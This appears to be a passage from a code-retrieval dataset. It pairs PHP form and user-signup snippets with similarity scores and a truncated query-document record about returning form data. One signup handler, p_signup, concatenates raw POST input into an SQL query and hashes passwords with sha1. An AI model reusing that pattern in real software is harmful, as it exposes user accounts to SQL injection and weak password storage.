$babies->setDecorators($elementDecorators);\n if ($data['uht_babies']) $babies->setChecked(true);\n\n $nosleep = new Zend_Form_Element_Checkbox('nosleep', array());\n $nosleep->setDecorators($elementDecorators);\n if ($data['uht_nosleep']) $nosleep->setChecked(true);\n \n $digestion = new Zend_Form_Element_Checkbox('digestion', array());\n $digestion->setDecorators($elementDecorators);\n if ($data['uht_digestion']) $digestion->setChecked(true);\n\n $menopause = new Zend_Form_Element_Checkbox('menopause', array());\n $menopause->setDecorators($elementDecorators);\n if ($data['uht_menopause']) $menopause->setChecked(true);\n\n $sclorosies = new Zend_Form_Element_Checkbox('sclorosies', array());\n $sclorosies->setDecorators($elementDecorators);\n if ($data['uht_sclorosies']) $sclorosies->setChecked(true);\n\n $epilepsy = new Zend_Form_Element_Checkbox('epilepsy', array());\n $epilepsy->setDecorators($elementDecorators);\n if ($data['uht_epilepsy']) $epilepsy->setChecked(true);\n\n $cancer = new Zend_Form_Element_Checkbox('cancer', array());\n $cancer->setDecorators($elementDecorators);\n if ($data['uht_cancer']) $cancer->setChecked(true);\n\n $asthma = new Zend_Form_Element_Checkbox('asthma', array());\n $asthma->setDecorators($elementDecorators);\n if ($data['uht_asthma']) $asthma->setChecked(true);\n\n $artritis = new Zend_Form_Element_Checkbox('artritis', array());\n $artritis->setDecorators($elementDecorators);\n if ($data['uht_Artritis']) $artritis->setChecked(true);\n\n $hernia = new Zend_Form_Element_Checkbox('hernia', array());\n $hernia->setDecorators($elementDecorators);\n if ($data['uht_hernia']) $hernia->setChecked(true);\n\n $depression = new Zend_Form_Element_Checkbox('depression', array());\n $depression->setDecorators($elementDecorators);\n if ($data['uht_depression_or_anxiety']) $depression->setChecked(true);\n\n $headaches = new Zend_Form_Element_Checkbox('headaches', array());\n $headaches->setDecorators($elementDecorators);\n if ($data['uht_headaches']) $headaches->setChecked(true);\n \n $fatigue = new Zend_Form_Element_Checkbox('fatigue', array());\n $fatigue->setDecorators($elementDecorators);\n if ($data['uht_fatigue']) $fatigue->setChecked(true);\n\n $injury = new Zend_Form_Element_Checkbox('injury', array());\n $injury->setDecorators($elementDecorators);\n if ($data['uht_injury']) $injury->setChecked(true);\n\n $injuryText = new Zend_Form_Element_Textarea('injurytext', array(\n 'id' => 'obj',\n 'rows' => '20',\n 'cols' => '20',\n ));\n if (($data['uht_injury_text'])) $injuryText->setValue($data['uht_injury_text']);\n\n $medication = new Zend_Form_Element_Checkbox('medication', array());\n $medication->setDecorators($elementDecorators);\n if ($data['uht_medication']) $medication->setChecked(true);\n\n $medicationText = new Zend_Form_Element_Textarea('medicationtext', array(\n 'id' => 'obj',\n 'rows' => '20',\n 'cols' => '20',\n ));\n if (($data['uht_which_medication'])) $medicationText->setValue($data['uht_which_medication']);\n\n $walk = new Zend_Form_Element_Radio('walk', array(\n 'label' => '',\n 'separator' =>'',\n 'multiOptions' => array('Yes'=>'כן', 'No'=>'לא'),\n ));\n if ($data['uht_walk']) $walk->setValue($data['uht_walk']);\n $walk->setDecorators($elementDecorators);\n\n $hands = new Zend_Form_Element_Radio('hands', array(\n 'label' => '',\n 'separator' =>'',\n 'multiOptions' => array('Yes'=>'כן', 'No'=>'לא'),\n ));\n if ($data['uht_hands']) $hands->setValue($data['uht_hands']);\n $hands->setDecorators($elementDecorators);\n\n $legs = new Zend_Form_Element_Radio('legs', array(\n 'label' => '',\n 'separator' =>'',\n 'multiOptions' => array('Yes'=>'כן', 'No'=>'לא'),\n ));\n if ($data['uht_sit']) $legs->setValue($data['uht_sit']);\n $legs->setDecorators($elementDecorators);\n\n $backashes = new Zend_Form_Element_Radio('backashes', array(\n 'label' => '',\n 'separator' =>'',\n 'multiOptions' => array('Yes'=>'כן', 'No'=>'לא'),\n ));\n if ($data['uht_backashes']) $backashes->setValue($data['uht_backashes']);\n $backashes->setDecorators($elementDecorators);\n if ($protection) $backashes->setAttrib ('disabled', 'true');\n\n $slippedDisk = new Zend_Form_Element_Radio('disc', array(\n 'label' => '',\n 'separator' =>'',\n 'multiOptions' => array('Yes'=>'כן', 'No'=>'לא'),\n ));\n if ($protection) $slippedDisk->setAttrib ('disabled', 'true');\n if ($data['uht_slipped_disk']) $slippedDisk->setValue($data['uht_slipped_disk']);\n $slippedDisk->setDecorators($elementDecorators);\n\n $generalQuestionsText1 = new Zend_Form_Element_Text('general1', array('id'=>'f_1'));\n $generalQuestionsText2 = new Zend_Form_Element_Text('general2', array('id'=>'f_2'));\n $generalQuestionsText3 = new Zend_Form_Element_Text('general3', array('id'=>'f_3'));\n $generalQuestionsText1->setDecorators($elementDecorators);\n if ($protection){\n $generalQuestionsText1->setAttrib ('readonly', 'true');\n $generalQuestionsText2->setAttrib ('readonly', 'true');\n $generalQuestionsText3->setAttrib ('readonly', 'true');\n }\n \n $generalQuestionsText2->setDecorators($elementDecorators);\n $generalQuestionsText3->setDecorators($elementDecorators);\n if (isset ($data['uht_general1'])) $generalQuestionsText1->setValue($data['uht_general1']);\n if (isset ($data['uht_general2'])) $generalQuestionsText2->setValue($data['uht_general2']);\n if (isset ($data['uht_general3'])) $generalQuestionsText3->setValue($data['uht_general3']);\n\n $lowerback = new Zend_Form_Element_Checkbox('lowerback', array());\n $lowerback->setDecorators($elementDecorators);\n if ($data['uht_lower_back']) $lowerback->setChecked(true);\n\n $upperback = new Zend_Form_Element_Checkbox('upperback', array());\n $upperback->setDecorators($elementDecorators);\n if ($data['uht_upper_back']) $upperback->setChecked(true);\n\n $feet = new Zend_Form_Element_Checkbox('feet', array());\n $feet->setDecorators($elementDecorators);\n if ($data['uht_ankles_and_feet']) $feet->setChecked(true);\n\n $neck = new Zend_Form_Element_Checkbox('neck', array());\n $neck->setDecorators($elementDecorators);\n if ($data['uht_neck_and_shoulders']) $neck->setChecked(true);\n\n $breath = new Zend_Form_Element_Checkbox('breath', array());\n $breath->setDecorators($elementDecorators);\n if ($data['uht_breath']) $breath->setChecked(true);\n\n $pelvis = new Zend_Form_Element_Checkbox('pelvis', array());\n $pelvis->setDecorators($elementDecorators);\n if ($data['uht_thighs_or_pelvis']) $pelvis->setChecked(true);\n\n $knees = new Zend_Form_Element_Checkbox('knees', array());\n $knees->setDecorators($elementDecorators);\n if ($data['uht_thighs_or_pelvis']) $knees->setChecked(true);\n\n $wrists = new Zend_Form_Element_Checkbox('wrists', array());\n $wrists->setDecorators($elementDecorators);\n if ($data['uht_wrists']) $wrists->setChecked(true);\n\n $head = new Zend_Form_Element_Checkbox('head', array());\n $head->setDecorators($elementDecorators);\n if ($data['uht_head']) $head->setChecked(true);\n\n $ankles = new Zend_Form_Element_Checkbox('ankles', array());\n $ankles->setDecorators($elementDecorators);\n if ($data['uht_ankles']) $ankles->setChecked(true);\n\n $externalMails = new Zend_Form_Element_Checkbox('external', array());\n $externalMails->setDecorators($elementDecorators);\n if ($data['u_external_emails']) $externalMails->setChecked(true);\n\n $moreInfo = new Zend_Form_Element_Textarea('moreinfo', array(\n 'id' => 'obj',\n 'rows' => '20',\n 'cols' => '20',\n ));\n if (($data['uht_more_info'])) $moreInfo->setValue($data['uht_more_info']);\n\n $form->addElements(array($firstName,$lastName,$gender,$birthday,$heigth,$weight,\n $email,$password1,$password2,$state,$address,$pregnant,$pregnantSince,\n $objectives,$terms,\n $heartPressure,$diabetes,$migrene,$babies,$nosleep,\n $digestion,$menopause,$sclorosies,$epilepsy,$cancer,$asthma,\n $artritis,$hernia,$depression,$fatigue,$headaches,$injury,\n $injuryText,$medication,$medicationText,\n $walk,$hands,$legs,$backashes,$slippedDisk,\n $generalQuestionsText1,$generalQuestionsText2,$generalQuestionsText3,\n $lowerback,$upperback,$feet,$neck,$breath,$pelvis,$knees,\n $wrists,$head,$ankles,$moreInfo,$externalMails\n ));\n\n return $form;\n }", "protected function prepare_fields()\n {\n }", "private function _set_fields()\n {\n @$this->form_data->survey_id = 0;\n $this->form_data->survey_title = '';\n $this->form_data->survey_description = '';\n $this->form_data->survey_status = 'open';\n $this->form_data->survey_anms = 'yes';\n $this->form_data->survey_expiry_date = '';\n $this->form_data->question_ids = array();\n\n $this->form_data->filter_survey_title = '';\n $this->form_data->filter_status = '';\n }", "public function cleanFormData()\n {\n parent::cleanFormData();\n\n // You can only save data for the current user\n $this->formData['gsf_id_user'] = $this->currentUser->getUserId();\n }", "public function get_register_form() {\n $this->do_register_form();\n return $this->c_arr_register_form;\n }", "protected function _prepareForm()\r\n {\r\n /* @var $model Amasty_Xlanding_Model_Page */\r\n $model = Mage::registry('amlanding_page');\r\n\r\n /* @var $helper Amasty_Xlanding_Helper_Data */\r\n $helper = Mage::helper('amlanding');\r\n $attributeSets = $helper->getAvailableAttributeSets();\r\n $form = new Varien_Data_Form();\r\n\r\n $form->setHtmlIdPrefix('page_');\r\n\r\n $fieldset = $form->addFieldset('base_fieldset', array('legend' => $helper->__('Page Information')));\r\n\r\n if ($model->getPageId()) {\r\n $fieldset->addField('page_id', 'hidden', array(\r\n 'name' => 'page_id',\r\n ));\r\n }\r\n\r\n $fieldset->addField('title', 'text', array(\r\n 'name' => 'title',\r\n 'label' => $helper->__('Page Name'),\r\n 'title' => $helper->__('Page Name'),\r\n 'required' => true,\r\n ));\r\n\r\n $fieldset->addField('identifier', 'text', array(\r\n 'name' => 'identifier',\r\n 'label' => $helper->__('URL Key'),\r\n 'title' => $helper->__('URL Key'),\r\n 'required' => true,\r\n 'class' => 'validate-identifier',\r\n 'note' => $helper->__('Relative to Website Base URL'),\r\n ));\r\n\r\n /**\r\n * Check is single store mode\r\n */\r\n if (!Mage::app()->isSingleStoreMode()) {\r\n\r\n $fieldset->addField('store_id', 'multiselect', array(\r\n 'label' => $helper->__('Stores'),\r\n 'name' => 'stores[]',\r\n 'values' => Mage::getSingleton('adminhtml/system_store')->getStoreValuesForForm()\r\n ));\r\n } else {\r\n $fieldset->addField('store_id', 'hidden', array(\r\n 'name' => 'stores[]',\r\n 'value' => Mage::app()->getStore(true)->getId()\r\n ));\r\n $model->setStoreId(Mage::app()->getStore(true)->getId());\r\n }\r\n\r\n $fieldset->addField('is_active', 'select', array(\r\n 'label' => $helper->__('Status'),\r\n 'title' => $helper->__('Page Status'),\r\n 'name' => 'is_active',\r\n 'required' => true,\r\n 'options' => $helper->getAvailableStatuses()\r\n ));\r\n\r\n /**\r\n * Adding field in the form to select the default attribute store used for optimization purposes\r\n */\r\n $fieldset->addField('default_attribute_set', 'select', array(\r\n 'label' => $helper->__('Default Attribute Set'),\r\n 'title' => $helper->__('Default Attribute Set'),\r\n 'name' => 'default_attribute_set',\r\n 'options' => $attributeSets,\r\n 'required' => true\r\n ));\r\n $form->setValues($model->getData());\r\n $this->setForm($form);\r\n\r\n }", "function signup() {\n\n $results = array();\n $results['errorReturnAction'] = \"signup\";\n\n if ( isset( $_POST['signup'] ) ) {\n\n // User has posted the signup form: attempt to register the user\n $emailAddress = isset( $_POST['emailAddress'] ) ? $_POST['emailAddress'] : \"\";\n $password = isset( $_POST['password'] ) ? $_POST['password'] : \"\";\n $passwordConfirm = isset( $_POST['passwordConfirm'] ) ? $_POST['passwordConfirm'] : \"\";\n\n if ( !$emailAddress || !$password || !$passwordConfirm ) {\n $results['errorMessage'] = \"Please fill in all the fields in the form.\";\n require( TEMPLATE_PATH . \"/errorDialog.php\" );\n return;\n }\n\n if ( $password != $passwordConfirm ) {\n $results['errorMessage'] = \"The two passwords you entered didn't match. Please try again.\";\n require( TEMPLATE_PATH . \"/errorDialog.php\" );\n return;\n }\n\n if ( User::getByEmailAddress( $emailAddress ) ) {\n $results['errorMessage'] = \"You've already signed up using that email address!\";\n require( TEMPLATE_PATH . \"/errorDialog.php\" );\n return;\n }\n\n $user = new User( array( 'emailAddress' => $emailAddress, 'plaintextPassword' => $password ) );\n $user->encryptPassword();\n $user->insert();\n $user->createLoginSession();\n header( \"Location: \" . APP_URL );\n\n } else {\n\n // User has not posted the signup form yet: display the form\n require( TEMPLATE_PATH . \"/signupForm.php\" );\n }\n}", "public function signup() {\n\t\t//$this->set('title_for_layout','Sign Up');\n\t\t//$this->layout = 'clean';\n\t\t\n\t\tif ($this->request->is('post')) {\n\t\t\t$this->request->data['User']['username'] = strip_tags($this->request->data['User']['username']);\n\t\t\t$this->request->data['User']['fullname'] = strip_tags($this->request->data['User']['fullname']);\n\t\t\t$this->request->data['User']['location'] = strip_tags($this->request->data['User']['location']);\n\t\t\t//$this->request->data['User']['slug'] = $this->toSlug($this->request->data['User']['username']); //Should happen automagically with the Sluggable plugin\n\t\t\t\n\t\t\t//Register the user\n\t\t\t$user = $this->User->register($this->request->data,true,false);\n\t\t\tif (!empty($user)) {\n\t\t\t\t//Generate a public key that the user can use to login later (without username and password)\n\t\t\t\t//$this->User->generateAndSavePublicKey($user);\n\t\t\t\t\n\t\t\t\t//Send the user their activation email\n\t\t\t\t$options = array(\n\t\t\t\t\t\t\t\t\t'layout'=>'signup_activate',\n\t\t\t\t\t\t\t\t\t'subject'=>__('Activate your account at Prept!', true),\n\t\t\t\t\t\t\t\t\t'view'=>'default'\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t$viewVars = array('user'=>$user,'token'=>$user['User']['email_token']);\n\t\t\t\t$this->_sendEmail($user['User']['email'],$options,$viewVars);\n\t\t\t\t$this->User->id = $user['User']['id'];\n\t\t\t\t$this->request->data['User']['id'] = $this->User->id; \n\t\t\t\t$this->Auth->autoRedirect = false;\n\t\t\t\tif($this->Auth->login($this->request->data['User'])){\n\t\t\t\t\t//The login was a success\n\t\t\t\t\tunset($this->request->data['User']);\n\t\t\t\t\t$this->Session->setFlash(__('You have successfully created an account &mdash; now get to studying.', true));\n\t\t\t\t\t$this->Auth->loginRedirect = array('admin'=>false,'controller'=>'users','action'=>'backpack');\n\t\t\t\t\treturn $this->redirect($this->Auth->loginRedirect);\n\t\t\t\t}else{\n\t\t\t\t\t$this->Session->setFlash(__(\"There was an error logging you in.\", true));\n\t\t\t\t\t$this->redirect(array('admin'=>false,'action' => 'login'));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t}", "function give_get_register_fields( $form_id ) {\n\n\tglobal $user_ID;\n\n\tif ( is_user_logged_in() ) {\n\t\t$user_data = get_userdata( $user_ID );\n\t}\n\n\t$show_register_form = give_show_login_register_option( $form_id );\n\n\tob_start();\n\t?>\n\t<fieldset id=\"give-register-fields-<?php echo $form_id; ?>\">\n\n\t\t<?php\n\t\t/**\n\t\t * Fires while rendering user registration form, before registration fields.\n\t\t *\n\t\t * @param int $form_id The form ID.\n\t\t *\n\t\t * @since 1.0\n\t\t *\n\t\t */\n\t\tdo_action( 'give_register_fields_before', $form_id );\n\t\t?>\n\n\t\t<fieldset id=\"give-register-account-fields-<?php echo $form_id; ?>\">\n\t\t\t<?php\n\t\t\t/**\n\t\t\t * Fires while rendering user registration form, before account fields.\n\t\t\t *\n\t\t\t * @param int $form_id The form ID.\n\t\t\t *\n\t\t\t * @since 1.0\n\t\t\t *\n\t\t\t */\n\t\t\tdo_action( 'give_register_account_fields_before', $form_id );\n\n\t\t\t$class = ( 'registration' === $show_register_form ) ? 'form-row-wide' : 'form-row-first';\n\t\t\t?>\n\t\t\t<div id=\"give-create-account-wrap-<?php echo $form_id; ?>\"\n\t\t\t class=\"form-row <?php echo esc_attr( $class ); ?> form-row-responsive\">\n\t\t\t\t<label for=\"give-create-account-<?php echo $form_id; ?>\">\n\t\t\t\t\t<?php\n\t\t\t\t\t// Add attributes to checkbox, if Guest Checkout is disabled.\n\t\t\t\t\t$is_guest_checkout = give_get_meta( $form_id, '_give_logged_in_only', true );\n\t\t\t\t\t$id = 'give-create-account-' . $form_id;\n\t\t\t\t\tif ( ! give_is_setting_enabled( $is_guest_checkout ) ) {\n\t\t\t\t\t\techo Give()->tooltips->render(\n\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t'tag_content' => sprintf(\n\t\t\t\t\t\t\t\t\t'<input type=\"checkbox\" name=\"give_create_account\" value=\"on\" id=\"%s\" class=\"give-input give-disabled\" checked />',\n\t\t\t\t\t\t\t\t\t$id\n\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t\t'label' => __( 'Registration is required to donate.', 'give' ),\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t?>\n\t\t\t\t\t\t<input type=\"checkbox\" name=\"give_create_account\" value=\"on\" id=\"<?php echo $id; ?>\"\n\t\t\t\t\t\t class=\"give-input\"/>\n\t\t\t\t\t\t<?php\n\t\t\t\t\t}\n\n\t\t\t\t\t_e( 'Create an account', 'give' );\n\t\t\t\t\techo Give()->tooltips->render_help( __( 'Create an account on the site to see and manage donation history.', 'give' ) );\n\t\t\t\t\techo str_replace(\n\t\t\t\t\t\t'/>',\n\t\t\t\t\t\t'data-time=\"' . time() . '\" data-nonce-life=\"' . give_get_nonce_life() . '\"/>',\n\t\t\t\t\t\tgive_get_nonce_field( \"give_form_create_user_nonce_{$form_id}\", 'give-form-user-register-hash', false )\n\t\t\t\t\t);\n\t\t\t\t\t?>\n\t\t\t\t</label>\n\t\t\t</div>\n\n\t\t\t<?php if ( 'both' === $show_register_form ) { ?>\n\t\t\t\t<div class=\"give-login-account-wrap form-row form-row-last form-row-responsive\">\n\t\t\t\t\t<p class=\"give-login-message\"><?php esc_html_e( 'Already have an account?', 'give' ); ?>&nbsp;\n\t\t\t\t\t\t<a href=\"<?php echo esc_url( add_query_arg( 'login', 1 ) ); ?>\" class=\"give-checkout-login\"\n\t\t\t\t\t\t data-action=\"give_checkout_login\"><?php esc_html_e( 'Login', 'give' ); ?></a>\n\t\t\t\t\t</p>\n\t\t\t\t\t<p class=\"give-loading-text\">\n\t\t\t\t\t\t<span class=\"give-loading-animation\"></span>\n\t\t\t\t\t</p>\n\t\t\t\t</div>\n\t\t\t<?php } ?>\n\n\t\t\t<?php\n\t\t\t/**\n\t\t\t * Fires while rendering user registration form, after account fields.\n\t\t\t *\n\t\t\t * @param int $form_id The form ID.\n\t\t\t *\n\t\t\t * @since 1.0\n\t\t\t *\n\t\t\t */\n\t\t\tdo_action( 'give_register_account_fields_after', $form_id );\n\t\t\t?>\n\t\t</fieldset>\n\n\t\t<?php\n\t\t/**\n\t\t * Fires while rendering user registration form, after registration fields.\n\t\t *\n\t\t * @param int $form_id The form ID.\n\t\t *\n\t\t * @since 1.0\n\t\t *\n\t\t */\n\t\tdo_action( 'give_register_fields_after', $form_id );\n\t\t?>\n\n\t\t<input type=\"hidden\" name=\"give-purchase-var\" value=\"needs-to-register\"/>\n\n\t\t<?php\n\t\t/**\n\t\t * Fire after register or login form render\n\t\t *\n\t\t * @since 1.7\n\t\t */\n\t\tdo_action( 'give_donation_form_user_info', $form_id );\n\t\t?>\n\n\t</fieldset>\n\t<?php\n\techo ob_get_clean();\n}", "public function processRegistrationForm() {\n\t\t\tprocessForm($this->registrationForm);\n\t\t\t$this->validateRegistrationForm();\n\t\t\tif (empty($this->errorMsgs)) {\n\t\t\t\t$this->insertNewAffiliate();\n\t\t\t}\n\t\t}", "protected function _prepareForm()\n {\n\n $form = new Varien_Data_Form();\n $this->setForm($form);\n $fieldset = $form->addFieldset('cron_form', array(\n 'legend' =>Mage::helper('aoe_scheduler')->__('Settings')\n ));\n\n $fieldset->addField('model', 'select', array(\n 'label' => Mage::helper('aoe_scheduler')->__('Model'),\n 'title' => Mage::helper('aoe_scheduler')->__('Model'),\n 'class' \t=> 'input-select',\n 'required' => true,\n 'name' => 'model',\n 'options' => Mage::helper('aoe_scheduler')->getModelOptions(),\n ));\n $continueButton = $this->getLayout()\n ->createBlock('adminhtml/widget_button')\n ->setData(array(\n 'label' => Mage::helper('aoe_scheduler')->__('Continue'),\n 'onclick' => \"setSettings('\".$this->getContinueUrl().\"', 'model')\",\n 'class' => 'save'\n ));\n $fieldset->addField('continue_button', 'note', array(\n 'text' => $continueButton->toHtml(),\n ));\n \n return parent::_prepareForm();\n }", "public function p_signup() {\n\n $q= 'Select email \n From users \n WHERE email=\"'.$_POST['email'].'\"';\n # see if the email exists\n $emailexists= DB::instance(DB_NAME)->select_field($q);\n \n # email exists, throw an error\n if($emailexists){ \n \n Router::redirect(\"/users/signup/error\"); \n \n }\n \n #requires all fields to be entered if java script is disabled, otherwise thow a different error\n \n elseif (!$_POST['email'] OR !$_POST['last_name'] OR !$_POST['first_name'] OR !$_POST['password']) {\n Router::redirect(\"/users/signup/error2\"); \n }\n # all is well , proceed with signup\n else{\n \n $_POST['created']= Time::now();\n $_POST['password']= sha1(PASSWORD_SALT.$_POST['password']); \n $_POST['token']= sha1(TOKEN_SALT.$_POST['email'].Utils::generate_random_string()); \n\n # add user to the database and redirect to users login page \n $user_id=DB::instance(DB_NAME)->insert_row('users',$_POST);\n # Create users first Notebook\n $notebook['name']= $_POST['first_name'].' Notebook';\n $notebook['user_id']= $user_id;\n $notebook['created']= Time::now(); \n $notebook['modified']= Time::now(); \n DB::instance(DB_NAME)->insert_row('notebooks',$notebook); \n\n Router::redirect('/users/login');\n }\n \n }", "public static function formstore($data){\n\t\t//\n\t\t//var_dump($data);\n \t$fname=Input::get('fname');\n\t\t$username=Input::get('username');\n\t\t$password=Hash::make(Input::get('password'));\n\t\t$email=Input::get('email');\n\t\t$usertype=Input::get('usertype');\n\t\t$company=Input::get('company');\n\t\t$address=Input::get('address');\n\t\t$state=Input::get('state');\n\t\t$country=Input::get('country');\n\t\t$zip=Input::get('zip');\n\t\t$phonenum=Input::get('phonenum');\n\t\t//$remember_token=Input::get('remember_token');\n\n\n\t\t$users= new Registered_user(); //create new user model\n\n\t\t$users->fname=$fname;\n\t\t$users->username=$username;\n\t\t$users->password=$password;\n\t\t$users->email=$email;\n\t\t$users->usertype=$usertype;\n\t\t$users->company=$company;\n\t\t$users->address=$address;\n\t\t$users->state=$state;\n\t\t$users->country=$country;\n\t\t$users->zip=$zip;\n\t\t$users->phonenum=$phonenum;\n\t\t//$users->remember_token=$remember_token;\n\n\t\t // convert data format\n\t\n\t\t$users->save(); //save to 'registered_users' table\n\n }", "protected function _prepareForm()\n {\n $form = new Varien_Data_Form(array(\n 'id' => 'add_form',\n 'action' => $this->getUrl('*/faq/save', array(\n 'ret' => Mage::registry('ret'),\n 'id' => $this->getRequest()->getParam('id')\n )\n ),\n 'method' => 'post'\n ));\n\n $fieldset = $form->addFieldset('faq_new_question', array(\n 'legend' => $this->__('New Question'),\n 'class' => 'fieldset-wide'\n ));\n\n $fieldset->addField('new_question', 'text', array(\n 'label' => Mage::helper('inchoo_faq')->__('New Question'),\n 'required' => true,\n 'name' => 'question'\n ));\n\n $fieldset->addField('new_answer', 'textarea', array(\n 'label' => Mage::helper('inchoo_faq')->__('Answer'),\n 'required' => false,\n 'name' => 'answer',\n 'style' => 'height:12em;',\n ));\n\n $form->setUseContainer(true);\n// $form->setValues();\n $this->setForm($form);\n\n// echo \"_prepareForm()\";\n\n return parent::_prepareForm();\n\n\n }", "public function generaldataformAction(){\n\t\t$form = new Bel_Forms_Builder('registration_form','/usermanagement/profile/save');\n\t\t$form->removeElement('user_password')\n\t\t\t ->removeElement('password2')\n\t\t\t ->removeElement('captcha');\n\t\t\n\t\t$form->populateForm($this->_auth->toArray());\n\t\t\n\t\t/*if($this->_request->getParam('error')){\n\t\t\t$this->view->assign('messages',$this->_messages->getMessages());\n\t\t}*/\n\t\t\n\t\t$this->view->assign('form',$form);\n\t\t$this->view->display('forms/ajax.tpl');\n\t}" ]
[ "0.64626175", "0.64621717", "0.64385164", "0.6375104", "0.62911606", "0.623153", "0.61140907", "0.60807186", "0.59903884", "0.59611934", "0.5916906", "0.5886408", "0.5884624", "0.5863407", "0.5861377", "0.584909", "0.5848371", "0.58470905", "0.58192146", "0.58158475", "0.5812668", "0.57943964", "0.5753036", "0.5725527", "0.5691076", "0.56895167", "0.5669007", "0.5664647", "0.56386006", "0.56381065", "0.5636428", "0.5630638", "0.5625704", "0.56227374", "0.5612383", "0.56063515", "0.5606269", "0.56058955", "0.5604786", "0.55942935", "0.55942935", "0.55652857", "0.55535346", "0.55431134", "0.55326134", "0.5526976", "0.5518314", "0.54969954", "0.54906124", "0.54801893", "0.54765105", "0.54712784", "0.5470097", "0.5458525", "0.54564357", "0.54525703", "0.5445668", "0.54426724", "0.5441555", "0.5441552", "0.5435277", "0.5409292", "0.53974503", "0.538914", "0.53870517", "0.53769135", "0.53512555", "0.5344344", "0.5344026", "0.5343054", "0.5342886", "0.5335228", "0.53332937", "0.5332978", "0.5331052", "0.5330872", "0.53253776", "0.53240347", "0.5317559", "0.53105134", "0.53105134", "0.53075475", "0.5306851", "0.53052765", "0.53038037", "0.52939105", "0.52908707", "0.52873105", "0.5284207", "0.52836245", "0.5283598", "0.5279037", "0.5272777", "0.5270209", "0.52680147", "0.5260984", "0.5255156", "0.52534467", "0.52514184", "0.52461916" ]
0.7393404
0
/ | | get_data() | | Function to return the form data for the Signup::form singleton. |
public function get_data() { return $this->form_data; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function formdata()\n {\n return Formdata::getinstance();\n }", "public function get_form_data() {\n\n\t\tcheck_ajax_referer( 'uael_register_user', 'nonce' );\n\n\t\t$data = array();\n\t\t$error = array();\n\t\t$response = array();\n\t\t$allow_register = get_option( 'users_can_register' );\n\t\t$is_widget_active = UAEL_Helper::is_widget_active( 'RegistrationForm' );\n\n\t\tif ( isset( $_POST['data'] ) && '1' === $allow_register && true === $is_widget_active ) {\n\n\t\t\t$data = $_POST['data'];\n\n\t\t\tif ( isset( $data['is_recaptcha_enabled'] ) ) {\n\t\t\t\tif ( 'yes' === sanitize_text_field( $data['is_recaptcha_enabled'] ) ) {\n\t\t\t\t\t$recaptcha_token = sanitize_text_field( $data['recaptcha_token'] );\n\t\t\t\t\tif ( empty( $recaptcha_token ) ) {\n\t\t\t\t\t\t$error['recaptcha'] = __( 'The Captcha field cannot be blank. Please enter a value.', 'uael' );\n\t\t\t\t\t}\n\n\t\t\t\t\t$recaptcha_errors = array(\n\t\t\t\t\t\t'missing-input-secret' => __( 'The secret parameter is missing.', 'uael' ),\n\t\t\t\t\t\t'invalid-input-secret' => __( 'The secret parameter is invalid or malformed.', 'uael' ),\n\t\t\t\t\t\t'missing-input-response' => __( 'The response parameter is missing.', 'uael' ),\n\t\t\t\t\t\t'invalid-input-response' => __( 'The response parameter is invalid or malformed.', 'uael' ),\n\t\t\t\t\t);\n\n\t\t\t\t\t$recaptcha_response = $recaptcha_token;\n\t\t\t\t\t$integration_option = UAEL_Helper::get_integrations_options();\n\t\t\t\t\t$recaptcha_secret = $integration_option['recaptcha_v3_secretkey'];\n\t\t\t\t\t$client_ip = UAEL_Helper::get_client_ip();\n\t\t\t\t\t$recaptcha_score = $integration_option['recaptcha_v3_score'];\n\t\t\t\t\tif ( 0 > $recaptcha_score || 1 < $recaptcha_score ) {\n\t\t\t\t\t\t$recaptcha_score = 0.5;\n\t\t\t\t\t}\n\n\t\t\t\t\t$request = array(\n\t\t\t\t\t\t'body' => array(\n\t\t\t\t\t\t\t'secret' => $recaptcha_secret,\n\t\t\t\t\t\t\t'response' => $recaptcha_response,\n\t\t\t\t\t\t\t'remoteip' => $client_ip,\n\t\t\t\t\t\t),\n\t\t\t\t\t);\n\n\t\t\t\t\t$response = wp_remote_post( 'https://www.google.com/recaptcha/api/siteverify', $request );\n\n\t\t\t\t\t$response_code = wp_remote_retrieve_response_code( $response );\n\n\t\t\t\t\tif ( 200 !== (int) $response_code ) {\n\t\t\t\t\t\t/* translators: %d admin link */\n\t\t\t\t\t\t$error['recaptcha'] = sprintf( __( 'Can not connect to the reCAPTCHA server (%d).', 'uael' ), $response_code );\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$body = wp_remote_retrieve_body( $response );\n\t\t\t\t\t\t$result = json_decode( $body, true );\n\n\t\t\t\t\t\t$action = ( ( isset( $result['action'] ) && 'Form' === $result['action'] ) && ( $result['score'] > $recaptcha_score ) );\n\n\t\t\t\t\t\tif ( ! $result['success'] ) {\n\t\t\t\t\t\t\tif ( ! $action ) {\n\t\t\t\t\t\t\t\t$message = __( 'Invalid Form - reCAPTCHA validation failed', 'uael' );\n\n\t\t\t\t\t\t\t\tif ( isset( $result['error-codes'] ) ) {\n\t\t\t\t\t\t\t\t\t$result_errors = array_flip( $result['error-codes'] );\n\n\t\t\t\t\t\t\t\t\tforeach ( $recaptcha_errors as $error_key => $error_desc ) {\n\t\t\t\t\t\t\t\t\t\tif ( isset( $result_errors[ $error_key ] ) ) {\n\t\t\t\t\t\t\t\t\t\t\t$message = $recaptcha_errors[ $error_key ];\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$error['recaptcha'] = $message;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$post_id = $data['page_id'];\n\t\t\t$widget_id = $data['widget_id'];\n\n\t\t\t$elementor = \\Elementor\\Plugin::$instance;\n\t\t\t$meta = $elementor->documents->get( $post_id )->get_elements_data();\n\n\t\t\t$widget_data = $this->find_element_recursive( $meta, $widget_id );\n\n\t\t\t$widget = $elementor->elements_manager->create_element_instance( $widget_data );\n\n\t\t\t$settings = $widget->get_settings();\n\n\t\t\tif ( 'both' === $data['send_email'] && 'custom' === $settings['email_template'] ) {\n\t\t\t\tself::$email_content['subject'] = $settings['email_subject'];\n\t\t\t\tself::$email_content['message'] = $settings['email_content'];\n\t\t\t\tself::$email_content['headers'] = 'Content-Type: text/' . 